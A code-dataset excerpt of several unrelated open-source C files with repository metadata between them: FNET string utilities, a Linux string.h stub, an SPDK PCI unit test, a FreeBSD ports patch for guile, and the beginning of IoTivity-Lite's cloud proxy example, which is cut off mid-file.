if ((c >= 'A') && (c <= 'Z')) /* Is upper.*/
{
c = c - 'A' + 10u;
}
else
{
c = c - 'a' + 10u;
}
}
/* check c against base */
if (c >= base)
{
err = FNET_TRUE;
}
else
{
if (neg)
{
rvalue = (rvalue * base) - (fnet_uint32_t)c;
}
else
{
rvalue = (rvalue * base) + (fnet_uint32_t)c;
}
}
}
}
/* Upon exit, endp points to the character at which valid info */
/* STOPS. No chars including and beyond endp are used. */
if (ptr != 0)
{
*ptr = endp;
}
if (err)
{
if (ptr != 0)
{
*ptr = (fnet_char_t *)str;
}
return 0u;
}
else
{
return rvalue;
}
}
/************************************************************************
* DESCRIPTION: This function converts an uppercase letter to the corresponding
* lowercase letter.
*************************************************************************/
fnet_char_t fnet_tolower( fnet_char_t to_lower )
{
if((to_lower >= 'A') && (to_lower <= 'Z'))
{
return (fnet_uint8_t)(to_lower + 0x20u);
}
return to_lower;
}
/************************************************************************
* DESCRIPTION: The fnet_strcasecmp() function compares the two strings s1
* and s2, ignoring the case of the characters. It returns an
* integer less than, equal to, or greater than zero if s1 is found,
* respectively, to be less than, to match, or be greater than s2.
*************************************************************************/
fnet_int32_t fnet_strcasecmp( const fnet_char_t *str1, const fnet_char_t *str2 )
{
fnet_uint8_t c1, c2;
while(1)
{
c1 = fnet_tolower(*str1++);
c2 = fnet_tolower(*str2++);
if(c1 < c2)
{
return -1;
}
if(c1 > c2)
{
return 1;
}
if(c1 == 0u)
{
return 0;
}
}
}
/************************************************************************
* DESCRIPTION:
*************************************************************************/
fnet_int32_t fnet_strcmp_splitter( const fnet_char_t *in_str, const fnet_char_t *name, fnet_char_t splitter)
{
fnet_int32_t result;
/* No checks for 0 */
const fnet_char_t *s1p = in_str;
const fnet_char_t *s2p = name;
while (*s2p == ' ')
{
s2p++; /* Strip leading spaces */
}
while (*s2p == splitter)
{
s2p++; /* Strip heading slash */
}
while (*s1p == ' ')
{
s1p++; /* Strip leading spaces */
}
/* Special case for root folder.*/
if((*s2p == '\0') && (*s1p == splitter))
{
result = 0;
}
else
{
while (*s1p == splitter)
{
s1p++; /* Strip heading slash */
}
while((*s2p != '\0') && (*s1p == *s2p))
{
++s1p;
++s2p;
if (*s1p == splitter)
{
break; /* next element */
}
}
if(*s1p == splitter)
{
result = 0;
}
else
{
result = (fnet_int32_t )(*s1p - *s2p);
}
}
return result;
}
/************************************************************************
* DESCRIPTION: Breaks a string into a sequence of tokens.
*************************************************************************/
fnet_char_t *fnet_strtok_r(fnet_char_t *str, const fnet_char_t *delimiter, fnet_char_t **last)
{
const fnet_char_t *spanp;
fnet_char_t c;
fnet_char_t sc;
fnet_char_t *tok;
if ((str == FNET_NULL) && ((str = *last) == FNET_NULL))
{
return (FNET_NULL);
}
/*
* Skip leading delimiters.
*/
CONT:
c = (*str++);
spanp = delimiter;
while( (sc = (*spanp++)) != 0u)
{
if (c == sc)
{
goto CONT;
}
}
if (c == 0u) /* No non-delimiter characters */
{
*last = FNET_NULL;
return (FNET_NULL);
}
tok = str - 1;
/*
* Scan token.
*/
for (;;)
{
c = (*str++);
spanp = delimiter;
do
{
if ((sc = (*spanp++)) == c)
{
if (c == 0u)
{
str = FNET_NULL;
}
else
{
str[-1] = 0u;
}
*last = str;
return (tok);
}
}
while (sc != 0u);
}
/* Not reached.*/
}
/************************************************************************
* DESCRIPTION: Generates a pseudo-random number.
*************************************************************************/
fnet_uint32_t fnet_rand(void)
{
#if 0 /* original */
fnet_rand_seed = fnet_rand_seed * 1103515245u + 12345u;
return((fnet_uint32_t)(fnet_rand_seed >> 16u) % (FNET_RAND_MAX + 1u));
#else /* Park-Miller minimum random number generator (Comm ACM Oct 1988 p1192-1201, Vol 31 Num 10) */
fnet_uint64_t const a = 16807; /* 7^5 (a primitive root modulo M31) */
fnet_uint64_t const m = 2147483647; /* 2^31-1 (a Mersenne prime M31) */
fnet_uint64_t tmp;
tmp = fnet_rand_seed * a;
fnet_rand_seed = (fnet_uint32_t)(tmp % m);
return(fnet_rand_seed);
#endif
}
/************************************************************************
* DESCRIPTION: Initializes the pseudo-random number generator.
*************************************************************************/
void fnet_srand(fnet_uint32_t seed)
{
fnet_rand_seed += seed;
}
|
6f6f6c2f8c8b48df8c1b2ec143dcc32ff3827b4e
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/include/asm-generic/string.h
|
de5e0201459f8be9ab36f53137c5a5651258a2a9
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 281
|
h
|
string.h
|
#ifndef __ASM_GENERIC_STRING_H
#define __ASM_GENERIC_STRING_H
/*
* The kernel provides all required functions in lib/string.c
*
* Architectures probably want to provide at least their own optimized
* memcpy and memset functions though.
*/
#endif /* __ASM_GENERIC_STRING_H */
|
a9c1b84c05f7370db0213785a5588b7688682c91
|
a8194cf6ffd12f7551eaba53572744080a0bfef3
|
/test/env/pci/pci_ut.c
|
552235dd434eb82a0a765c5dff51dd603caa780f
|
[
"Intel",
"BSD-2-Clause",
"BSD-3-Clause"
] |
permissive
|
spdk/spdk
|
51294f67104b8c3d18f19147d63a212e9486c687
|
d62a3810364cb87be352c66acf7c7f968508ca17
|
refs/heads/master
| 2023-08-08T16:07:41.263000
| 2023-08-02T09:06:56
| 2023-08-08T07:01:20
| 39,042,157
| 2,708
| 1,158
|
NOASSERTION
| 2023-08-11T09:50:50
| 2015-07-13T23:15:15
|
C
|
UTF-8
|
C
| false
| false
| 5,302
|
c
|
pci_ut.c
|
/* SPDX-License-Identifier: BSD-3-Clause
* Copyright (C) 2016 Intel Corporation.
* All rights reserved.
*/
#include "spdk/stdinc.h"
#include "CUnit/Basic.h"
#include "spdk_internal/mock.h"
#include "spdk_internal/cunit.h"
#include "env_dpdk/pci.c"
static void
pci_claim_test(struct spdk_pci_device *dev)
{
int rc = 0;
pid_t childPid;
int status, ret;
rc = spdk_pci_device_claim(dev);
CU_ASSERT(rc >= 0);
childPid = fork();
CU_ASSERT(childPid >= 0);
if (childPid == 0) {
ret = spdk_pci_device_claim(dev);
CU_ASSERT(ret == -1);
exit(0);
} else {
waitpid(childPid, &status, 0);
}
}
static struct spdk_pci_driver ut_pci_driver;
struct ut_pci_dev {
struct spdk_pci_device pci;
char config[16];
char bar[16];
bool attached;
};
static int
ut_map_bar(struct spdk_pci_device *dev, uint32_t bar,
void **mapped_addr, uint64_t *phys_addr, uint64_t *size)
{
struct ut_pci_dev *ut_dev = (struct ut_pci_dev *)dev;
/* just one bar */
if (bar > 0) {
return -1;
}
*mapped_addr = ut_dev->bar;
*phys_addr = 0;
*size = sizeof(ut_dev->bar);
return 0;
}
static int
ut_unmap_bar(struct spdk_pci_device *device, uint32_t bar, void *addr)
{
return 0;
}
static int
ut_cfg_read(struct spdk_pci_device *dev, void *value, uint32_t len, uint32_t offset)
{
struct ut_pci_dev *ut_dev = (struct ut_pci_dev *)dev;
if (len + offset >= sizeof(ut_dev->config)) {
return -1;
}
memcpy(value, (void *)((uintptr_t)ut_dev->config + offset), len);
return 0;
}
static int
ut_cfg_write(struct spdk_pci_device *dev, void *value, uint32_t len, uint32_t offset)
{
struct ut_pci_dev *ut_dev = (struct ut_pci_dev *)dev;
if (len + offset >= sizeof(ut_dev->config)) {
return -1;
}
memcpy((void *)((uintptr_t)ut_dev->config + offset), value, len);
return 0;
}
static int
ut_enum_cb(void *ctx, struct spdk_pci_device *dev)
{
struct ut_pci_dev *ut_dev = (struct ut_pci_dev *)dev;
ut_dev->attached = true;
return 0;
}
static int
ut_attach_cb(const struct spdk_pci_addr *addr)
{
return -ENODEV;
}
static void
ut_detach_cb(struct spdk_pci_device *dev)
{
}
static struct spdk_pci_device_provider g_ut_provider = {
.name = "custom",
.attach_cb = ut_attach_cb,
.detach_cb = ut_detach_cb,
};
SPDK_PCI_REGISTER_DEVICE_PROVIDER(ut, &g_ut_provider);
static void
pci_hook_test(void)
{
struct ut_pci_dev ut_dev = {};
uint32_t value_32;
void *bar0_vaddr;
uint64_t bar0_paddr, bar0_size;
int rc;
ut_dev.pci.type = "custom";
ut_dev.pci.id.vendor_id = 0x4;
ut_dev.pci.id.device_id = 0x8;
/* Use add parse for initialization */
spdk_pci_addr_parse(&ut_dev.pci.addr, "10000:00:01.0");
CU_ASSERT(ut_dev.pci.addr.domain == 0x10000);
CU_ASSERT(ut_dev.pci.addr.bus == 0x0);
CU_ASSERT(ut_dev.pci.addr.dev == 0x1);
CU_ASSERT(ut_dev.pci.addr.func == 0x0);
ut_dev.pci.map_bar = ut_map_bar;
ut_dev.pci.unmap_bar = ut_unmap_bar;
ut_dev.pci.cfg_read = ut_cfg_read;
ut_dev.pci.cfg_write = ut_cfg_write;
/* hook the device into the PCI layer */
rc = spdk_pci_hook_device(&ut_pci_driver, &ut_dev.pci);
CU_ASSERT_EQUAL(rc, 0);
/* try to attach a device with the matching driver and bdf */
rc = spdk_pci_device_attach(&ut_pci_driver, ut_enum_cb, NULL, &ut_dev.pci.addr);
CU_ASSERT(rc == 0);
CU_ASSERT(ut_dev.pci.internal.attached);
CU_ASSERT(ut_dev.attached);
/* check PCI config writes and reads */
value_32 = 0xDEADBEEF;
rc = spdk_pci_device_cfg_write32(&ut_dev.pci, value_32, 0);
CU_ASSERT(rc == 0);
value_32 = 0x0BADF00D;
rc = spdk_pci_device_cfg_write32(&ut_dev.pci, value_32, 4);
CU_ASSERT(rc == 0);
rc = spdk_pci_device_cfg_read32(&ut_dev.pci, &value_32, 0);
CU_ASSERT(rc == 0);
CU_ASSERT(value_32 == 0xDEADBEEF);
CU_ASSERT(memcmp(&value_32, &ut_dev.config[0], 4) == 0);
rc = spdk_pci_device_cfg_read32(&ut_dev.pci, &value_32, 4);
CU_ASSERT(rc == 0);
CU_ASSERT(value_32 == 0x0BADF00D);
CU_ASSERT(memcmp(&value_32, &ut_dev.config[4], 4) == 0);
/* out-of-bounds write */
rc = spdk_pci_device_cfg_read32(&ut_dev.pci, &value_32, sizeof(ut_dev.config));
CU_ASSERT(rc != 0);
/* map a bar */
rc = spdk_pci_device_map_bar(&ut_dev.pci, 0, &bar0_vaddr, &bar0_paddr, &bar0_size);
CU_ASSERT(rc == 0);
CU_ASSERT(bar0_vaddr == ut_dev.bar);
CU_ASSERT(bar0_size == sizeof(ut_dev.bar));
spdk_pci_device_unmap_bar(&ut_dev.pci, 0, bar0_vaddr);
/* map an inaccessible bar */
rc = spdk_pci_device_map_bar(&ut_dev.pci, 1, &bar0_vaddr, &bar0_paddr, &bar0_size);
CU_ASSERT(rc != 0);
/* test spdk_pci_device_claim() */
pci_claim_test(&ut_dev.pci);
spdk_pci_device_detach(&ut_dev.pci);
CU_ASSERT(!ut_dev.pci.internal.attached);
/* unhook the device */
spdk_pci_unhook_device(&ut_dev.pci);
/* try to attach the same device again */
rc = spdk_pci_device_attach(&ut_pci_driver, ut_enum_cb, NULL, &ut_dev.pci.addr);
CU_ASSERT(rc != 0);
}
int
main(int argc, char **argv)
{
CU_pSuite suite = NULL;
unsigned int num_failures;
if (CU_initialize_registry() != CUE_SUCCESS) {
return CU_get_error();
}
suite = CU_add_suite("pci", NULL, NULL);
if (suite == NULL) {
CU_cleanup_registry();
return CU_get_error();
}
if (
CU_add_test(suite, "pci_hook", pci_hook_test) == NULL
) {
CU_cleanup_registry();
return CU_get_error();
}
num_failures = spdk_ut_run_tests(argc, argv, NULL);
CU_cleanup_registry();
return num_failures;
}
|
ccc18ae7c24ab1b71570945a8aeb2624d41892be
|
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
|
/lang/guile1/files/patch-libguile_gen-scmconfig.c
|
0560ac8f707532a658388db0bfdbcfdc19a6a6a3
|
[
"BSD-2-Clause"
] |
permissive
|
freebsd/freebsd-ports
|
86f2e89d43913412c4f6b2be3e255bc0945eac12
|
605a2983f245ac63f5420e023e7dce56898ad801
|
refs/heads/main
| 2023-08-30T21:46:28.720924
| 2023-08-30T19:33:44
| 2023-08-30T19:33:44
| 1,803,961
| 916
| 918
|
NOASSERTION
| 2023-09-08T04:06:26
| 2011-05-26T11:15:35
| null |
UTF-8
|
C
| false
| false
| 213
|
c
|
patch-libguile_gen-scmconfig.c
|
--- libguile/gen-scmconfig.c.orig 2010-12-13 17:25:01 UTC
+++ libguile/gen-scmconfig.c
@@ -123,6 +123,7 @@
#include <libguile/gen-scmconfig.h>
+#define _ANSI_SOURCE
#include <stdio.h>
#include <string.h>
|
73f598d2ada372a2adb90ffc2c58ab2f43c1266a
|
ff2180134ad76ce50d9b9a162edf035c3914ab4a
|
/apps/cloud_proxy.c
|
3c8ad4b393572eab3d58ff6c32a29d21c4e4451f
|
[
"Apache-2.0",
"BSD-2-Clause",
"BSD-3-Clause"
] |
permissive
|
iotivity/iotivity-lite
|
4ddddfc7d76766d1c5e94d81dd26e28f8cb4a940
|
1597367d65bad60a26511775ee47e5496186ddca
|
refs/heads/master
| 2023-08-16T18:09:54.615426
| 2023-08-09T19:05:42
| 2023-08-09T19:05:42
| 171,529,940
| 143
| 80
|
Apache-2.0
| 2023-09-14T07:31:04
| 2019-02-19T18:47:09
|
C
|
UTF-8
|
C
| false
| false
| 61,391
|
c
|
cloud_proxy.c
|
/****************************************************************************
*
* Copyright 2017-2021 Open Connectivity Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License"),
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************/
/* Application Design
*
* support functions:
* app_init
* initializes the oic/p and oic/d values.
* register_resources
* function that registers all endpoints, e.g. sets the RETRIEVE/UPDATE
* handlers for each end point
*
* main
* starts the stack, with the registered resources.
*
* Each resource has:
* - global property variables (per resource path) for:
* - the property name
* naming convention: g_[path]_RESOURCE_PROPERTY_NAME_[propertyname]
* - the actual value of the property, which is typed from the json data type
* naming convention: g_[path]_[propertyname]
* - global resource variables (per path) for:
* - the path in a variable:
* naming convention: g_[path]_RESOURCE_ENDPOINT
*
* handlers for the implemented methods (get/post):
* - get_[path]
* function that is being called when a RETRIEVE is called on [path]
* set the global variables in the output
* - post_[path]
* function that is being called when a UPDATE is called on [path]
* checks the input data
* if input data is correct
* updates the global variables
*
*
* Handlers for the proxied device
* incomming requests from the cloud are handled by:
* - get_resource
* the response from the local device is handled by:
* get_local_resource_response
* - post_resource
* the response from the local device is handled by:
* post_local_resource_response
* - delete_resource
* the response from the local device is handled by:
* delete_local_resource_response
*
* ## PKI SECURITY
* to install a certificate use MANUFACTORER_PKI compile option
* - requires to have the header file"pki_certs.h"
* - this include file can be created with the pki.sh tool in the device
* builder chain.
* the sh script creates a Kyrio test certificate with a limited life time.
* products should not have test certificates.
* Hence this example is being build without the manufactorer certificate by
* default.
*
* ## IoTivity specific defines
*
* - OC_SECURITY
* enable security
* - OC_PKI
* enable use of PKI, note onboarding is enabled by means of run time code
* - OC_SECURITY_PIN
* enables Random PIN onboarding,
* - OC_CLOUD
* enables cloud access
* - OC_IDD_API
* IDD via API, otherwise use header file to define the IDD
* - __linux__
* build for linux
* - WIN32
* build for windows
*
* compile flag PROXY_ALL_DISCOVERED_DEVICES
* this flag enables that all devices on the network will be proxied.
* compile flag RESET
* resets the device at start up, for easy testing with the CTT
*
* building on linux (in port/linux):
* make cloud_proxy CLOUD=1 CLIENT=1 OSCORE=0
*
* ## Usage
*
* ### onboarding sequence
*
* - onboard the cloud_proxy using an OBT
* configure the ACE for the d2dserverlist
* (e.g. for DeviceSpy this is done automatically except for an ACE for
* DELETE)
* - connect to a cloud using an OBT via a mediator
* - set an ACE for coapcloudconfig resource.
* - install ace for cloud access to the proxy
* {"subject": {"uuid": "<CTT_CLOUD_UUID>"}, "permission": 6, "resources":
* [{"wc": "*"}]}
* so that a cloud client can invoke actions on the links in the RD.
*
* When connected to the cloud, the client part will issue a discovery for all
* devices on realm and site local scopes
* devices that are in the d2dserver list will be announced to the cloud
* note that the resources(links) that listed in oic/res only are posted to
* the RD
*
* ### normal operation
*
* - add a local device (one by one) to be proxied, example:
* POST to /d2dserverlist?di=e0bdc937-cb27-421c-af98-db809a426861
* Note that the cloud_proxy client has to be granted access to the local
* device
* This requires intervention of an OBT to set an ACE on the local device
* - list the local devices that are proxied, example:
* GET to /d2dserverlist
* delete a local device (one by one) that is proxied, example:
* DELETE to /d2dserverlist?di=e0bdc937-cb27-421c-af98-db809a426861
* rescan the network (e.g. update endpoints towards the proxied local
* devices), example: UPDATE to /d2dserverlist?scan=1
*
* TODO:
* - save the d2dserverlist to disk, read at startup
*/
/*
tool_version : 20200103
input_file : ../device_output/out_codegeneration_merged.swagger.json
version of input_file :
title of input_file : server_lite_446
*/
#include "oc_api.h"
#include "oc_core_res.h"
#include "oc_csr.h"
#include "oc_log.h"
#include "oc_pki.h"
#include "port/oc_clock.h"
#ifdef OC_CLOUD
#include "oc_cloud.h"
#endif /* OC_CLOUD */
#if defined(OC_INTROSPECTION) && defined(OC_IDD_API)
#include "oc_introspection.h"
#endif /* OC_INTROSPECTION && OC_IDD_API */
#include <signal.h>
#ifndef DOXYGEN
// Force doxygen to document static inline
#define STATIC static
#endif
/* proxy all discovered devices on the network, this is for easier testing*/
//#define PROXY_ALL_DISCOVERED_DEVICES
/* perform discovery using /oic/sec/doxm, which generates significantly less
* traffic when compared to /oic/res discovery
*/
//#define OC_DOXM_UUID_FILTER
#ifdef __linux__
/* linux specific code */
#include <pthread.h>
#ifndef NO_MAIN
static pthread_mutex_t mutex;
static pthread_cond_t cv;
#endif /* NO_MAIN */
#endif /* __linux__ */
#ifdef WIN32
/* windows specific code */
#include <windows.h>
static CONDITION_VARIABLE cv; /**< event loop variable */
static CRITICAL_SECTION cs; /**< event loop variable */
#endif /* WIN32 */
#include <stdio.h> /* defines FILENAME_MAX */
#ifdef WIN32
#include <direct.h>
#define GetCurrentDir _getcwd
#else
#include <unistd.h>
#define GetCurrentDir getcwd
#endif
#define btoa(x) ((x) ? "true" : "false")
#define MAX_STRING 30 /**< max size of the strings. */
#define MAX_PAYLOAD_STRING 65 /**< max size strings in the payload */
#define MAX_ARRAY 10 /**< max size of the array */
/* Note: Magic numbers are derived from the resource definition, either from the
* example or the definition.*/
static volatile int quit = 0; /**< stop variable, used by handle_signal */
#define MAX_URI_LENGTH (30) /**< max size strings in the payload */
#define MAX_DISCOVERED_SERVER \
100 /**< amount of local devices that can be stored (during the program) */
STATIC oc_endpoint_t
*discovered_server[MAX_DISCOVERED_SERVER]; /**< storage of the end ponits */
STATIC const char *cis = "coap+tcp://127.0.0.1:5683";
STATIC const char *auth_code = "test";
STATIC const char *sid = "00000000-0000-0000-0000-000000000001";
STATIC const char *apn = "plgd";
STATIC const char *device_name = "CloudProxy";
STATIC char proxy_di[38];
/** global property variables for path: "d2dserverlist" */
STATIC const char *g_d2dserverlist_RESOURCE_PROPERTY_NAME_d2dserverlist =
"dis"; /**< the name for the attribute */
/* array of objects
* di == strlen == zero ==> empty slot
*/
struct _d2dserverlist_d2dserverlist_t
{
char
di[MAX_PAYLOAD_STRING]; /**< Format pattern according to IETF RFC 4122. */
char eps_s[MAX_PAYLOAD_STRING]; /**< the OCF Endpoint information of the
target Resource */
char eps[MAX_PAYLOAD_STRING]; /**< the OCF Endpoint information of the target
Resource */
char href[MAX_PAYLOAD_STRING]; /**< This is the target URI, it can be
specified as a Relative Reference or
fully-qualified URI. */
};
/** array d2dserverlist This Property maintains the list of the D2D Device's
* connection info i.e. {Device ID, Resource URI, end points} */
struct _d2dserverlist_d2dserverlist_t
g_d2dserverlist_d2dserverlist[MAX_DISCOVERED_SERVER];
char g_d2dserverlist_di[MAX_PAYLOAD_STRING] =
""; /**<current value of property "di" Format pattern according to IETF RFC
4122. */
/* registration data variables for the resources */
/* global resource variables for path: d2dserverlist */
STATIC const char *g_d2dserverlist_RESOURCE_ENDPOINT =
"d2dserverlist"; /**< used path for this resource */
STATIC const char *g_d2dserverlist_RESOURCE_TYPE[MAX_STRING] = {
"oic.r.d2dserverlist"
}; /**< rt value (as an array) */
int g_d2dserverlist_nr_resource_types = 1;
/* forward declarations */
void issue_requests(char *udn);
void issue_requests_all(void);
/**
* function to print the returned cbor as JSON
*
* @param rep the cbor representation
* @param pretty_print nice printing, e.g. nicely indented json
*/
STATIC void
print_rep(oc_rep_t *rep, bool pretty_print)
{
char *json;
size_t json_size;
json_size = oc_rep_to_json(rep, NULL, 0, pretty_print);
json = (char *)malloc(json_size + 1);
oc_rep_to_json(rep, json, json_size + 1, pretty_print);
OC_PRINTF("%s\n", json);
free(json);
}
/**
* function to retrieve the udn from the cloud url
*
* @param url the input url
* @param udn the udn parsed out from the input url
*/
STATIC void
url_to_udn(const char *url, char *udn)
{
strcpy(udn, &url[1]);
udn[OC_UUID_LEN - 1] = '\0';
}
/**
* function to retrieve the local url from the cloud url
*
* @param url the input url
* @param local_url the local url withoug the udn prefix
*/
STATIC void
url_to_local_url(const char *url, char *local_url)
{
strcpy(local_url, &url[OC_UUID_LEN]);
}
/**
* function to retrieve the udn from the anchor
*
* @param anchor url with udn
* @param[out] udn url without the anchor part
*/
STATIC void
anchor_to_udn(const char *anchor, char *udn)
{
strcpy(udn, &anchor[6]);
}
/**
* function to retrieve the index based on udn
* using global discovered_server list
*
* @param udn to check if it is in the list
* @return index, -1 is not in list
*/
STATIC int
is_udn_listed_index(char *udn)
{
OC_PRINTF("is_udn_listed_index: Finding UDN %s \n", udn);
for (int i = 0; i < MAX_DISCOVERED_SERVER; i++) {
if (strcmp(g_d2dserverlist_d2dserverlist[i].di, udn) == 0) {
return i;
}
}
OC_PRINTF(" is_udn_listed_index: None matched\n");
return -1;
}
/**
* function to print discovered_server list
*/
STATIC void
list_udn(void)
{
OC_PRINTF(" list_udn \n");
for (int i = 0; i < MAX_DISCOVERED_SERVER; i++) {
if (strlen(g_d2dserverlist_d2dserverlist[i].di) > 0) {
OC_PRINTF(" %s\n", g_d2dserverlist_d2dserverlist[i].di);
}
}
OC_PRINTF(" - done list_udn \n");
}
/**
* function to print empty slots in the global discovered_server list
*
* @return index, -1 full
*/
STATIC int
find_empty_slot(void)
{
OC_PRINTF(" find_empty_slot: Finding empty slot \n");
for (int i = 0; i < MAX_DISCOVERED_SERVER; i++) {
if (strcmp(g_d2dserverlist_d2dserverlist[i].di, "") == 0) {
return i;
}
}
OC_PRINTF(" find_empty_slot: no empty slot\n");
return -1;
}
/**
* function to retrieve the endpoint based on udn
* using global discovered_server list
*
* @param udn to check if it is in the list
* @return endpoint or NULL (e.g. not in list)
*/
STATIC oc_endpoint_t *
is_udn_listed(char *udn)
{
OC_PRINTF(" is_udn_listed: Finding UDN %s \n", udn);
for (int i = 0; i < MAX_DISCOVERED_SERVER; i++) {
oc_endpoint_t *ep = discovered_server[i];
while (ep != NULL) {
char uuid[OC_UUID_LEN] = { 0 };
oc_uuid_to_str(&ep->di, uuid, OC_UUID_LEN);
OC_PRINTF(" uuid %s\n", uuid);
OC_PRINTF(" udn %s\n", udn);
OC_PRINTF(" endpoint ");
OC_PRINTipaddr(*ep);
if (strncmp(uuid, udn, OC_UUID_LEN) == 0) {
return ep;
}
ep = ep->next;
}
}
OC_PRINTF(" is_udn_listed: None matched, returning NULL endpoint\n");
return NULL;
}
/**
* function to set up the device.
*
*/
STATIC int
app_init(void)
{
int ret = oc_init_platform("ocf", NULL, NULL);
/* the settings determine the appearance of the device on the network
can be ocf.2.2.0 (or even higher)
supplied values are for ocf.2.2.0 */
ret |= oc_add_device("/oic/d", "oic.d.cloudproxy", "cloud_proxy",
"ocf.2.2.5", /* icv value */
"ocf.res.1.3.0, ocf.sh.1.3.0", /* dmv value */
NULL, NULL);
#ifdef OC_INTROSPECTION
#ifdef OC_IDD_API
FILE *fp;
uint8_t *buffer;
size_t buffer_size;
const char introspection_error[] =
"\tERROR Could not read 'cloud_proxy_IDD.cbor'\n"
"\tIntrospection data not set.\n";
fp = fopen("./cloud_proxy_IDD.cbor", "rb");
if (fp) {
fseek(fp, 0, SEEK_END);
buffer_size = ftell(fp);
rewind(fp);
buffer = (uint8_t *)malloc(buffer_size * sizeof(uint8_t));
size_t fread_ret = fread(buffer, buffer_size, 1, fp);
fclose(fp);
if (fread_ret == 1) {
oc_set_introspection_data(0, buffer, buffer_size);
OC_PRINTF("\tIntrospection data set 'cloud_proxy_IDD.cbor': %d [bytes]\n",
(int)buffer_size);
} else {
OC_PRINTF("%s", introspection_error);
}
free(buffer);
} else {
OC_PRINTF("%s", introspection_error);
}
#else /* !OC_IDD_API */
OC_PRINTF("\t introspection via header file\n");
#endif /* OC_IDD_API */
#endif /* OC_INTROSPECTION */
return ret;
}
/**
* helper function to check if the POST input document contains
* the common readOnly properties or the resouce readOnly properties
* @param name the name of the property
* @return the error_status, e.g. if error_status is true, then the input
* document contains something illegal
*/
/*
STATIC bool
check_on_readonly_common_resource_properties(oc_string_t name, bool error_state)
{
if (strcmp(oc_string(name), "n") == 0) {
error_state = true;
OC_PRINTF(" property \"n\" is ReadOnly \n");
}
else if (strcmp(oc_string(name), "if") == 0) {
error_state = true;
OC_PRINTF(" property \"if\" is ReadOnly \n");
}
else if (strcmp(oc_string(name), "rt") == 0) {
error_state = true;
OC_PRINTF(" property \"rt\" is ReadOnly \n");
}
else if (strcmp(oc_string(name), "id") == 0) {
error_state = true;
OC_PRINTF(" property \"id\" is ReadOnly \n");
}
else if (strcmp(oc_string(name), "id") == 0) {
error_state = true;
OC_PRINTF(" property \"id\" is ReadOnly \n");
}
return error_state;
}
*/
/**
* get method for "d2dserverlist" resource.
* function is called to intialize the return values of the GET method.
* initialisation of the returned values are done from the global property
* values. Resource Description: The RETRIEVE operation on this Resource is only
* allowed for appropriately privileged devices (e.g. Mediator). For all other
* devices the Cloud Proxy is expected to reject RETRIEVE operation attempts.
*
* @param request the request representation.
* @param interfaces the interface used for this call
* @param user_data the user data.
*/
STATIC void
get_d2dserverlist(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)user_data; /* variable not used */
/* TODO: SENSOR add here the code to talk to the HW if one implements a
sensor. the call to the HW needs to fill in the global variable before it
returns to this function here. alternative is to have a callback from the
hardware that sets the global variables.
The implementation always return everything that belongs to the resource.
this implementation is not optimal, but is functionally correct and will
pass CTT1.2.2 */
bool error_state = false;
OC_PRINTF("-- Begin get_d2dserverlist: interface %d\n", interfaces);
list_udn();
oc_rep_start_root_object();
switch (interfaces) {
case OC_IF_BASELINE:
OC_PRINTF(" Adding Baseline info\n");
oc_process_baseline_interface(request->resource);
/* property (array of strings) 'dis' */
OC_PRINTF(" Array of strings : '%s'\n",
g_d2dserverlist_RESOURCE_PROPERTY_NAME_d2dserverlist);
oc_rep_set_key(oc_rep_object(root), "dis");
oc_rep_begin_array(oc_rep_object(root), dis);
for (int i = 0; i < MAX_ARRAY; i++) {
if (strlen(g_d2dserverlist_d2dserverlist[i].di) > 0) {
oc_rep_add_text_string(dis, g_d2dserverlist_d2dserverlist[i].di);
}
}
oc_rep_end_array(oc_rep_object(root), dis);
oc_rep_end_root_object();
break;
case OC_IF_RW:
/* property (array of objects) 'd2dserverlist' */
OC_PRINTF(" Array of strings : '%s'\n",
g_d2dserverlist_RESOURCE_PROPERTY_NAME_d2dserverlist);
oc_rep_set_key(oc_rep_object(root), "dis");
oc_rep_begin_array(oc_rep_object(root), dis);
for (int i = 0; i < MAX_ARRAY; i++) {
if (strlen(g_d2dserverlist_d2dserverlist[i].di) > 0) {
oc_rep_add_text_string(dis, g_d2dserverlist_d2dserverlist[i].di);
}
}
oc_rep_end_array(oc_rep_object(root), dis);
oc_rep_end_root_object();
break;
default:
break;
}
oc_rep_end_root_object();
if (error_state == false) {
oc_send_response(request, OC_STATUS_OK);
} else {
oc_send_response(request, OC_STATUS_BAD_OPTION);
}
OC_PRINTF("-- End get_d2dserverlist\n");
}
/**
* check if the di exist in the d2d server list array
*
* @param di di to be checked (not NULL terminated)
* @param di_len length of di
* @return true : found, false: not found
*/
STATIC bool
if_di_exist(const char *di, int di_len)
{
for (int i = 0; i < MAX_ARRAY; i++) {
if (strncmp(g_d2dserverlist_d2dserverlist[i].di, di, di_len) == 0) {
return true;
}
}
return false;
}
/**
* remove the di from the server list.
* e.g. blanks the udn.
*
* @param di di to be checked (not NULL terminated)
* @param len length of di
* @return true : removed, false: not removed
*/
STATIC bool
remove_di(const char *di, int len)
{
for (int i = 0; i < MAX_ARRAY; i++) {
OC_PRINTF(" %s %.*s ", g_d2dserverlist_d2dserverlist[i].di, len, di);
if (strncmp(g_d2dserverlist_d2dserverlist[i].di, di, len) == 0) {
strcpy(g_d2dserverlist_d2dserverlist[i].di, "");
return true;
}
}
return false;
}
/**
* find the resource with an url that starts with the di
*
* @param di di to be checked (not NULL terminated)
* @return return the resource or NULL
*/
STATIC oc_resource_t *
find_resource(const char *di)
{
oc_resource_t *res = oc_ri_get_app_resources();
while (res != NULL) {
if (strncmp(di, oc_string(res->uri), strlen(di)) == 0)
return res;
res = res->next;
}
return res;
}
/**
